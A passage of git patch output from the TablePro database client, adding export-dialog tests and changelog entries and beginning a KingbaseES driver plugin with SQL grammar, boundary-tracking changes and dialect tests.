true, true]) + } + + @Test("Space on a group that cannot be ticked and a row under it still ticks the row") + func spaceReachesARowUnderADisabledGroup() throws { + let harness = Harness(options: .sqlForTests) + let database = ExportDatabaseItem(name: "app", objects: [ + ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]), + ExportObjectItem(name: "recalc", kind: .routine, optionValues: [false, false, false]) + ]) + harness.apply([database]) + let group = try #require(harness.row(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)")) + let routine = try #require(harness.row(of: "obj:\(database.id.uuidString):\(database.objects[1].id.uuidString)")) + harness.outlineView.selectRowIndexes(IndexSet([group, routine]), byExtendingSelection: false) + + harness.coordinator?.toggleSelectedRows() + + let recalc = try #require(harness.items.first?.objects.first { $0.name == "recalc" }) + #expect(recalc.isSelected) + #expect(recalc.optionValues == [true, true, false]) + } } diff --git a/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift b/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift index 82b18e660c..96d014b5b5 100644 --- a/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift +++ b/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift @@ -395,6 +395,26 @@ struct ExportTreeBuilderTests { #expect(archive.objects.first { $0.name == "purge" }?.isSelected == true) } + @Test("A reload keeps a table's row scope, so a format round trip cannot widen what it exports") + func reloadKeepsRowScope() async throws { + let builder = Self.builder( + typeId: Self.schemaTypeId, + preselection: .tables(names: [], scope: nil), + reader: Self.threeSchemaReader(), + supportedObjectKinds: Self.sqlKinds + ) + var before = try await builder.build(priorRows: [:]) + let databaseIndex = try #require(before.firstIndex { !$0.objects.isEmpty }) + let scope = PluginExportRowScope(filter: "total > 10", rowLimit: 5) + before[databaseIndex].objects[0].rowScope = scope + let name = before[databaseIndex].objects[0].name + + let after = try await builder.build(priorRows: ExportTreeBuilder.snapshots(of: before)) + + let restored = try #require(after.first { $0.name == before[databaseIndex].name }?.objects.first { $0.name == name }) + #expect(restored.rowScope == scope) + } + @Test("A schema holding the preselected table is expanded even when it is not the default one") func preselectedSchemaExpands() async throws { let reader = FakeReader( diff --git a/apple/TableProUITests/ExportUITests.swift b/apple/TableProUITests/ExportUITests.swift index 816fe2da1b..63207dd5d0 100644 --- a/apple/TableProUITests/ExportUITests.swift +++ b/apple/TableProUITests/ExportUITests.swift @@ -77,6 +77,67 @@ final class ExportUITests: UITestCase { XCTAssertFalse(markdown.contains("North"), "A data dictionary must hold no row") } + func testExportingEveryTableAsStructureOnly() throws { + let launch = try launchWithFixture() + let window = launch.window + let app = launch.app + let destination = try XCTUnwrap(sandboxRoot) + let exported = destination.appendingPathComponent("schema.sql") + + _ = openFromObjectBrowser("album", in: launch) + app.typeShortcut(.export) + + let sheet = window.children(matching: .sheet).firstMatch + XCTAssertTrue(sheet.staticTexts["1 table to export"].waitToExist(timeout: 30), "Export must open") + let format = element(sheet.popUpButtons, labelEndingWith: "Format") + XCTAssertTrue(format.waitToExist(timeout: 10), "The export sheet must offer a format menu") + if (format.value as? String) != "SQL" { + format.click() + let sql = app.menuItems["SQL"].firstMatch + XCTAssertTrue(sql.waitToExist(timeout: 10), "SQL must be an export format") + sql.click() + } + XCTAssertTrue(waitForPredicate(timeout: 10) { (format.value as? String) == "SQL" }, "The format must be SQL") + + let tree = sheet.outlines.firstMatch + XCTAssertTrue(tree.waitToExist(timeout: 10), "The export tree must show") + // The fixture's database row is named after its file's path. + let database = tree.checkBoxes.matching( + NSPredicate(format: "label BEGINSWITH %@ AND label ENDSWITH %@", "/", ".sqlite") + ).firstMatch + XCTAssertTrue(database.waitToExist(timeout: 10), "The database row must offer its own checkbox") + database.click() + XCTAssertTrue( + sheet.staticTexts["6 tables to export"].waitToExist(timeout: 10), + "Ticking the database must select every table" + ) + for column in ["Drop", "Data"] { + let box = tree.checkBoxes.matching( + NSPredicate(format: "label BEGINSWITH %@ AND label ENDSWITH %@", "\(column) for ", ".sqlite") + ).firstMatch + XCTAssertTrue(box.waitToExist(timeout: 10), "The database row must offer a \(column) checkbox") + box.click() + XCTAssertTrue( + waitForPredicate(timeout: 10) { (box.value as? Int) == 0 }, + "\(column) must turn off for the whole database" + ) + } + + save(from: sheet, to: exported, in: app) + + XCTAssertTrue( + waitForPredicate(timeout: 30) { FileManager.default.fileExists(atPath: exported.path) }, + "Export must write \(exported.lastPathComponent) into the chosen folder" + ) + let sql = try String(contentsOf: exported, encoding: .utf8) + XCTAssertEqual( + sql.components(separatedBy: "CREATE TABLE").count - 1, 6, + "The file must create every one of the fixture's six tables" + ) + XCTAssertFalse(sql.contains("INSERT INTO"), "A structure-only export must hold no row") + XCTAssertFalse(sql.contains("DROP TABLE"), "A structure-only export must drop nothing") + } + // Clicks Export…, names the file in the save panel, moves the panel to the file's folder and saves. private func save(from sheet: XCUIElement, to exported: URL, in app: XCUIApplication) { let destination = exported.deletingLastPathComponent() diff --git a/apple/changelog.d/3857.added.md b/apple/changelog.d/3857.added.md new file mode 100644 index 0000000000..3bcd523a64 --- /dev/null +++ b/apple/changelog.d/3857.added.md @@ -0,0 +1 @@ +In the export dialog, a database, schema or group row now sets Structure, Drop or Data for every object beneath it. diff --git a/apple/changelog.d/3857.changed.md b/apple/changelog.d/3857.changed.md new file mode 100644 index 0000000000..6e53aa2168 --- /dev/null +++ b/apple/changelog.d/3857.changed.md @@ -0,0 +1 @@ +Each export option is now its own column with a heading, and a table's checkbox only includes or excludes it. diff --git a/apple/changelog.d/3857.fixed.1.md b/apple/changelog.d/3857.fixed.1.md new file mode 100644 index 0000000000..922a2b9b0a --- /dev/null +++ b/apple/changelog.d/3857.fixed.1.md @@ -0,0 +1 @@ +Switching an SQL export to CSV and back dropped routines, triggers, sequences and types from the list. diff --git a/apple/changelog.d/3857.fixed.2.md b/apple/changelog.d/3857.fixed.2.md new file mode 100644 index 0000000000..4e59220855 --- /dev/null +++ b/apple/changelog.d/3857.fixed.2.md @@ -0,0 +1 @@ +A format change that reloaded the export list dropped each table's row filter. diff --git a/apple/changelog.d/3857.fixed.3.md b/apple/changelog.d/3857.fixed.3.md new file mode 100644 index 0000000000..0a35a1c719 --- /dev/null +++ b/apple/changelog.d/3857.fixed.3.md @@ -0,0 +1 @@ +The export dialog's Structure, Drop and Data headings sat off their checkboxes and were never translated. diff --git a/apple/changelog.d/3857.fixed.4.md b/apple/changelog.d/3857.fixed.4.md new file mode 100644 index 0000000000..d151628190 --- /dev/null +++ b/apple/changelog.d/3857.fixed.4.md @@ -0,0 +1 @@ +An MQL export with Data off showed its progress stuck at 0 rows. diff --git a/apple/changelog.d/3857.fixed.5.md b/apple/changelog.d/3857.fixed.5.md new file mode 100644 index 0000000000..4dd508c239 --- /dev/null +++ b/apple/changelog.d/3857.fixed.5.md @@ -0,0 +1 @@ +Space over a database and its rows in the export or backup list toggled the rows twice. diff --git a/apple/changelog.d/3857.fixed.6.md b/apple/changelog.d/3857.fixed.6.md new file mode 100644 index 0000000000..f01a404d6d --- /dev/null +++ b/apple/changelog.d/3857.fixed.6.md @@ -0,0 +1 @@ +Opening a query tab, or loading a query, from a query tab left the keyboard in the grid or sidebar. diff --git a/apple/changelog.d/3857.fixed.md b/apple/changelog.d/3857.fixed.md new file mode 100644 index 0000000000..8305ddc19f --- /dev/null +++ b/apple/changelog.d/3857.fixed.md @@ -0,0 +1 @@ +A saved export selection made under another format came back with every option turned on. From b793bc1490dac11699420dc5d111bc4e690b9127 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nguy=E1=BB=85n=20Nam=20Long?= Date: Tue, 27 Oct 2026 20:11:43 +0700 Subject: [PATCH 09/44] feat(kingbasees): add a registry driver (#3855) Co-authored-by: Ngo Quoc Dat --- .github/plugin-registry.json | 3 + .../TableProSQLGrammar/PLSQLUnitTracker.swift | 11 + .../SQLLexicalProfile.swift | 7 + .../SQLStatementBoundaryTracking.swift | 13 +- .../SQLStatementScanner.swift | 5 +- .../SQLEngineVocabulary.swift | 1 + .../KingbaseESDialectTests.swift | 13 + .../SQLLexicalReadingsTests.swift | 33 ++- .../SQLEngineVocabularyTests.swift | 3 +- .../SQL/Folding/SQLFoldScanner.swift | 7 +- .../SQL/SQLStateChangingFunctions.swift | 5 +- .../SQLExportSessionDeclarationTests.swift | 7 + .../Plugins/KingbaseESDriverPlugin/Info.plist | 12 + .../KingbaseESCompatibilityMode.swift | 37 +++ .../KingbaseESPlugin.swift | 72 +++++ .../KingbaseESPluginDriver.swift | 23 ++ .../LibPQDriverCore.swift | 4 +- .../PostgreSQLIndexQueries.swift | 18 +- ...PostgreSQLPluginDriver+ColumnReorder.swift | 4 +- .../PostgreSQLPluginDriver.swift | 17 +- .../PostgreSQLSchemaManagementQueries.swift | 2 +- .../PostgreSQLSchemaQueries.swift | 37 ++- .../PostgreSQLCatalogSQLPinTests.swift | 6 +- ...reSQLColumnDDLSequenceCollationTests.swift | 16 +- .../PostgreSQLColumnQueryTests.swift | 10 +- .../PostgreSQLIndexReplayTests.swift | 8 +- .../SQLExportSessionDeclaration.swift | 2 +- .../TableProPluginKit/SqlDialect.swift | 2 +- .../Core/Autocomplete/CompletionEngine.swift | 7 +- .../Autocomplete/QueryCompletionService.swift | 5 +- .../SQLCompletionProvider+App.swift | 18 +- .../Autocomplete/SQLCompletionService.swift | 7 +- .../Core/Autocomplete/SQLSchemaProvider.swift | 6 +- .../TablePro/Core/Compare/CompareRunner.swift | 8 +- .../Core/Compare/CompareSQLLiteral.swift | 2 +- .../Compare/CompareSyncEngineFamily.swift | 27 +- .../Core/Compare/CompareSyncExecutor.swift | 16 +- .../Core/Compare/CompareSyncSession.swift | 19 +- .../Compare/SchemaSyncScriptBuilder.swift | 7 +- .../Core/Compare/SourceObjectDiffEngine.swift | 12 +- .../Compare/SourceObjectSyncBuilder.swift | 8 +- .../CrossEngineIndexTranslator.swift | 2 +- .../Core/CrossEngine/SQLTypeFamily.swift | 16 ++ .../Core/DataWrite/DataWriteRowCounts.swift | 2 +- .../DataWrite/ExplicitIdentityInsert.swift | 2 +- .../Access/DatabaseAccessBridge.swift | 16 +- .../Database/DatabaseManager+Startup.swift | 14 +- .../Core/Database/FilterSQLGenerator.swift | 15 +- .../Core/Diagnostics/QueryDiagnostic.swift | 5 +- .../ObjectCopy/ObjectCopyEligibility.swift | 48 +++- .../Core/ObjectCopy/ObjectCopyPlan.swift | 9 +- .../Core/ObjectCopy/ObjectCopyPlanner.swift | 31 ++- .../Core/ObjectCopy/ObjectCopySession.swift | 4 +- .../Core/Plugins/DatabaseType+Registry.swift | 2 + .../Plugins/ExportDataSourceAdapter.swift | 5 +- .../Core/Plugins/ImportDataSinkAdapter.swift | 7 +- .../Core/Plugins/ImportTypeMapper.swift | 2 +- ...uginMetadataRegistry+CuratedDefaults.swift | 2 +- ...nMetadataRegistry+KingbaseESDefaults.swift | 41 +++ .../PostgreSQLDashboardProvider.swift | 3 +- .../ServerDashboardQueryProviderFactory.swift | 2 +- .../CellValues/CellExpressionVocabulary.swift | 2 +- .../Execution/TransactionEngineFamily.swift | 1 + .../Core/Services/Export/ImportService.swift | 2 +- .../Services/Export/RowImportTableMaker.swift | 5 +- .../Services/Query/CatalogChangeService.swift | 10 +- .../Query/ExplainPlanFormatDefaults.swift | 2 +- .../SQL/CatalogChangeClassifier.swift | 16 +- .../Utilities/SQL/QueryClassifier+PLSQL.swift | 4 - .../Core/Utilities/SQL/QueryClassifier.swift | 6 +- .../Core/Utilities/SQL/SQLFileParser.swift | 21 +- .../Utilities/SQL/SQLLexicalResolver.swift | 17 +- .../SQL/SQLRowToStatementConverter.swift | 2 +- .../Core/Utilities/SQL/SQLScriptText.swift | 7 +- apple/TablePro/Info.plist | 2 + .../Models/Connection/DatabaseType.swift | 1 + .../Schema/ColumnDefaultVocabulary.swift | 11 +- .../Models/Schema/ForeignKeyDialect.swift | 2 +- .../Models/Schema/IndexKeyDialect.swift | 2 +- .../TablePro/Resources/Localizable.xcstrings | 16 ++ .../AIChatViewModel+SchemaContext.swift | 2 +- .../Editor/Folding/FoldProviderResolver.swift | 10 +- .../Views/Editor/QueryCompletionAdapter.swift | 11 +- .../Editor/QueryDiagnosticsController.swift | 5 +- .../Views/Editor/SQLEditorController.swift | 42 ++- ...ditorCoordinator+InvisibleCharacters.swift | 3 +- .../Views/Editor/SQLEditorCoordinator.swift | 25 +- .../TablePro/Views/Import/ImportDialog.swift | 10 +- .../Services/IOSConnectionImportService.swift | 2 +- .../MacOnlyImportRowTests.swift | 4 +- .../Core/Compare/CompareSQLLiteralTests.swift | 2 +- .../CompareSyncSessionFamilyTests.swift | 42 +++ .../CrossEngineIndexTypeTests.swift | 7 + .../DataWrite/DataWriteExecutorTests.swift | 12 + ...angeStatementFactoryServerOwnedTests.swift | 6 +- .../DatabaseAccessBridgeStatementTests.swift | 23 ++ .../FilterSQLGeneratorColumnTypeTests.swift | 34 +++ .../Database/StartupStatementsTests.swift | 8 + .../ExternalStatementGateTests.swift | 6 +- .../ObjectCopyEligibilityTests.swift | 35 +++ .../Core/Plugins/ImportTypeMapperTests.swift | 6 + ...luginMetadataRegistryKingbaseESTests.swift | 37 +++ ...PluginMetadataRegistryTypeCountTests.swift | 2 +- .../PostgreSQLDashboardProviderTests.swift | 9 + ...erDashboardQueryProviderFactoryTests.swift | 3 +- .../CellExpressionVocabularyTests.swift | 6 + .../TransactionEngineFamilyTests.swift | 2 +- .../ImportServiceSessionGrammarTests.swift | 112 ++++++++ .../ExplainPlanFormatResolutionTests.swift | 1 + .../SQL/CatalogChangeClassifierTests.swift | 7 + .../SQL/QueryClassifierLexicalTests.swift | 1 + .../SQL/SQLFileParserPLSQLTests.swift | 15 + .../Utilities/SQL/SQLScriptTextTests.swift | 9 + .../SQLRowToStatementConverterTests.swift | 27 ++ .../Helpers/ScriptAnsweringDriver.swift | 3 + apple/TableProTests/Helpers/TestGrammar.swift | 13 + .../Database/SQLDDLFallbackPolicyTests.swift | 4 +- .../Schema/ColumnDefaultVocabularyTests.swift | 3 + .../Schema/ForeignKeyDialectTests.swift | 7 + .../Models/Schema/IndexKeyListTests.swift | 2 +- .../Editor/SQLEditorSessionGrammarTests.swift | 80 ++++++ apple/changelog.d/3855.added.md | 1 + apple/changelog.d/3855.fixed.md | 1 + apple/project.yml | 12 + .../probes/check-column-type-corpus.sh | 4 +- apple/scripts/probes/check-kingbasees.sh | 55 ++++ apple/scripts/probes/kingbasees-probe.swift | 256 ++++++++++++++++++ 127 files changed, 1653 insertions(+), 191 deletions(-) create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift create mode 100644 apple/Plugins/KingbaseESDriverPlugin/Info.plist create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift create mode 100644 apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift create mode 100644 apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift create mode 100644 apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift create mode 100644 apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift create mode 100644 apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift create mode 100644 apple/changelog.d/3855.added.md create mode 100644 apple/changelog.d/3855.fixed.md create mode 100755 apple/scripts/probes/check-kingbasees.sh create mode 100644 apple/scripts/probes/kingbasees-probe.swift diff --git a/.github/plugin-registry.json b/.github/plugin-registry.json index a9eb89b33c..f6bf29a547 100644 --- a/.github/plugin-registry.json +++ b/.github/plugin-registry.json @@ -43,6 +43,9 @@ "KafkaDriverPlugin": { "name": "Kafka Driver" }, + "KingbaseESDriverPlugin": { + "name": "KingbaseES Driver" + }, "LibSQLDriverPlugin": { "name": "libSQL / Turso Driver" }, diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift index deebfc6220..f0c5161f62 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift @@ -184,6 +184,17 @@ public struct PLSQLUnitTracker: SQLStatementBoundaryTracking { settlePendingBeforeNonWord() } + /// KingbaseES in Oracle mode also takes PostgreSQL's quoted routine body, `AS 'SELECT 1'` or `AS $$ ... $$`, which + /// opens no block. Oracle never puts a literal after a subprogram's `IS` or `AS`; a quoted name there still starts + /// its declarations. + public mutating func observeQuotedToken(opener: UInt16) { + if pendingBodyKeyword, opener != SqlLexer.doubleQuote { + pendingBodyKeyword = false + header = nil + } + observeOpaqueToken() + } + /// PL/SQL reads `a . b` as `a.b`, so whitespace leaves a member name a member name. public mutating func observeGap() {} diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift index 455d502584..fd905b464c 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift @@ -219,6 +219,13 @@ public struct SQLLexicalProfile: Sendable, Hashable { "AlloyDB": postgreSQLFamily, "Citus": postgreSQLFamily, "PGlite": postgreSQLFamily, + "KingbaseES": SQLLexicalProfile( + grammar: postgreSQL, + undetermined: [ + .backslashEscapesInSingleQuotes, .alternativeQuoting, .plsqlBlocks, + .slashLineTerminators, .dollarAndHashInIdentifiers, + ] + ), "Redshift": SQLLexicalProfile( grammar: postgreSQL, undetermined: [.backslashEscapesInSingleQuotes, .nestedBlockComments, .escapeStringPrefix] diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift index 90d6374010..a3c39e0a67 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift @@ -20,7 +20,8 @@ public enum SQLStatementTerminator: Equatable, Sendable { /// boundaries without looking ahead. /// /// Words arrive uppercased. Whitespace and comments arrive as ``observeGap()``; a string literal, a quoted identifier -/// or a dollar-quoted body arrives as ``observeOpaqueToken()``. +/// or a dollar-quoted body arrives as ``observeQuotedToken(opener:)``, and any other token no word or symbol describes +/// as ``observeOpaqueToken()``. public protocol SQLStatementBoundaryTracking { /// Whether words still bear on where this statement ends. A reader that has to assemble words itself can stop /// doing so once this is false, which keeps a plain `INSERT` dump free of the cost. @@ -36,6 +37,10 @@ public protocol SQLStatementBoundaryTracking { mutating func observeSymbol(_ symbol: UInt16) mutating func observeOpaqueToken() + /// A quoted token, named by its first character: `'`, `$`, or a prefix such as `E` or `q` for a literal, and `"`, + /// a backtick or `[` for a quoted name. + mutating func observeQuotedToken(opener: UInt16) + /// Whitespace or a comment between two tokens, which keeps a word from continuing the name before it: `x$MERGE` /// is one name in T-SQL, while `x$` and `MERGE` on the next line are a name and a statement. mutating func observeGap() @@ -46,6 +51,12 @@ public protocol SQLStatementBoundaryTracking { mutating func reset() } +public extension SQLStatementBoundaryTracking { + mutating func observeQuotedToken(opener: UInt16) { + observeOpaqueToken() + } +} + public enum SQLStatementBoundaries { /// The one place a grammar is matched to its statement boundaries, so no reader can pick a different one. public static func makeTracker(for grammar: SQLLexicalGrammar) -> any SQLStatementBoundaryTracking { diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift index b6d089d98b..0356e206bd 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift @@ -333,7 +333,10 @@ public enum SQLStatementScanner { tracker.observeGap() case .executableComment: hasStatementContent = true - case .quoted, .parameter: + case .quoted: + hasStatementContent = true + tracker.observeQuotedToken(opener: nsQuery.character(at: span.start)) + case .parameter: hasStatementContent = true tracker.observeOpaqueToken() } diff --git a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift index be6c736643..958fc6f6a8 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift @@ -67,6 +67,7 @@ public struct SQLEngineVocabulary: Sendable, Hashable { "PostgreSQL": postgreSQL, "CockroachDB": postgreSQL, "PGlite": postgreSQL, + "KingbaseES": postgreSQL, "Redshift": redshift, "SQLite": sqlite, "SQL Server": sqlServer, diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift new file mode 100644 index 0000000000..cc491ae296 --- /dev/null +++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift @@ -0,0 +1,13 @@ +import TableProPluginKit +import Testing + +struct KingbaseESDialectTests { + @Test("KingbaseES keeps PostgreSQL dollar quotes and escape strings") + func postgresLexing() { + let dialect = SqlDialect.from(databaseTypeId: "KingbaseES") + #expect(dialect == .postgres) + #expect(dialect.supportsDollarQuotes) + #expect(dialect.supportsEscapeStringPrefix) + #expect(!dialect.requiresBackslashEscapesInSingleQuotes) + } +} diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift index 87fbf18b84..a4da4e263f 100644 --- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift @@ -7,7 +7,7 @@ struct SQLLexicalReadingsTests { @Test("Every SQL engine TablePro ships has a curated grammar") func curatedTableCoversShippedEngines() { let shipped = [ - "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite", + "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite", "KingbaseES", "SQLite", "libSQL", "Turso", "Cloudflare D1", "DuckDB", "Oracle", "Dameng", "SQL Server", "ClickHouse", "Snowflake", "BigQuery", "Spanner", "Trino", "Presto", "Teradata", "SAP HANA", "Cassandra", "ScyllaDB", "DynamoDB", "SurrealDB", "Redis", "MongoDB", "etcd", "Elasticsearch", "Typesense", "Weaviate", "Kafka", @@ -130,4 +130,35 @@ struct SQLLexicalReadingsTests { ]) #expect(profile.readings.first == .ansi) } + @Test("KingbaseES retains both compatibility-mode readings before a session is known") + func kingbaseCompatibilityReadings() throws { + let profile = try #require(SQLLexicalProfile.curated(forDatabaseTypeId: "KingbaseES")) + #expect(profile.grammar.contains(.taggedDollarQuotes)) + #expect(profile.readings.contains { $0.contains(.alternativeQuoting) && $0.contains(.plsqlBlocks) }) + let oracle = SQLSessionLexicalFacts( + determined: [.alternativeQuoting, .plsqlBlocks], enabled: [.alternativeQuoting, .plsqlBlocks] + ) + let readings = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle) + #expect(readings.execution.contains(.alternativeQuoting)) + #expect(readings.execution.contains(.plsqlBlocks)) + #expect(readings.all.contains { !$0.contains(.alternativeQuoting) }) + } + + // Measured on KingbaseES V9R1C10 in Oracle mode: each of these creates its function, beside PL/SQL bodies. + @Test("Oracle-mode KingbaseES ends a quoted routine body at its semicolon and keeps a PL/SQL body whole") + func kingbaseOracleModeRoutineBodies() { + let oracle = SQLSessionLexicalFacts( + determined: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers], + enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers] + ) + let grammar = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle).execution + func sent(_ sql: String) -> [String] { + SQLStatementScanner.executableStatements(in: sql, grammar: grammar).map(\.sql) + } + #expect(sent("CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS 'SELECT 42'; SELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql; SELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f() RETURNS integer AS $b$ BEGIN RETURN 1; END; $b$ LANGUAGE plpgsql; SELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f RETURN NUMBER AS BEGIN RETURN 1; END;\n/\nSELECT 2;").count == 2) + #expect(sent("CREATE FUNCTION f RETURN NUMBER AS \"v\" NUMBER := 1; BEGIN RETURN \"v\"; END;\n/\nSELECT 2;").count == 2) + } } diff --git a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift index 42ef86641d..8cf6396385 100644 --- a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift @@ -9,7 +9,7 @@ struct SQLEngineVocabularyTests { let typeIds = SQLEngineVocabulary.curatedDatabaseTypeIds #expect(typeIds == [ "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", - "PostgreSQL", "CockroachDB", "PGlite", "Redshift", + "PostgreSQL", "CockroachDB", "PGlite", "KingbaseES", "Redshift", "SQLite", "SQL Server", "Oracle", "DuckDB", ]) for typeId in typeIds { @@ -32,6 +32,7 @@ struct SQLEngineVocabularyTests { ("OceanBase", "MySQL"), ("CockroachDB", "PostgreSQL"), ("PGlite", "PostgreSQL"), + ("KingbaseES", "PostgreSQL"), ]) func variantResolvesLikeItsBase(variant: String, base: String) { let resolved = SQLEngineVocabulary.curated(forDatabaseTypeId: variant) diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift index 325c1c55d9..30a7ce249d 100644 --- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift +++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift @@ -243,10 +243,13 @@ private struct Scan { appendSpanningRegion(.blockComment, start: start, startLine: startLine, end: span.contentEnd) case .quoted where text.character(at: index) == SqlDollarQuote.dollar: openStatementIfNeeded() - boundaries.observeOpaqueToken() + boundaries.observeQuotedToken(opener: SqlDollarQuote.dollar) line += span.newlines appendSpanningRegion(.quotedBody, start: start, startLine: startLine, end: span.contentEnd) - case .quoted, .parameter: + case .quoted: + boundaries.observeQuotedToken(opener: text.character(at: index)) + line += span.newlines + case .parameter: boundaries.observeOpaqueToken() line += span.newlines } diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift index f6ca4fcf81..0d2304802d 100644 --- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift +++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift @@ -2,7 +2,10 @@ import Foundation public enum SQLStateChangingFunctions { public static func contains(_ name: String) -> Bool { - names.contains(name.lowercased()) + let lowered = name.lowercased() + // KingbaseES ships each pg_ function under a sys_ name too, such as sys_terminate_backend (measured on V9R1C10). + if lowered.hasPrefix("sys_") { return names.contains("pg_" + lowered.dropFirst(4)) } + return names.contains(lowered) } private static let names: Set = serverSignals diff --git a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift index 2bb3b6da92..7f469d581c 100644 --- a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift +++ b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift @@ -268,4 +268,11 @@ struct SQLExportSessionDeclarationTests { #expect(parts.count == 1) #expect(!writer.didSplit) } + @Test("KingbaseES dumps declare PostgreSQL string and encoding semantics") + func kingbaseSessionDeclaration() { + #expect(SQLExportSessionDeclaration.forDatabaseType("KingbaseES") + == SQLExportSessionDeclaration.forDatabaseType("PostgreSQL")) + #expect(!SQLExportSessionDeclaration.forDatabaseType("KingbaseES").prologue.isEmpty) + } + } diff --git a/apple/Plugins/KingbaseESDriverPlugin/Info.plist b/apple/Plugins/KingbaseESDriverPlugin/Info.plist new file mode 100644 index 0000000000..2a09d82f10 --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/Info.plist @@ -0,0 +1,12 @@ + + + + + TableProPluginKitVersion + TABLEPRO_PLUGINKIT_VERSION + TableProProvidesDatabaseTypeIds + + KingbaseES + + + diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift 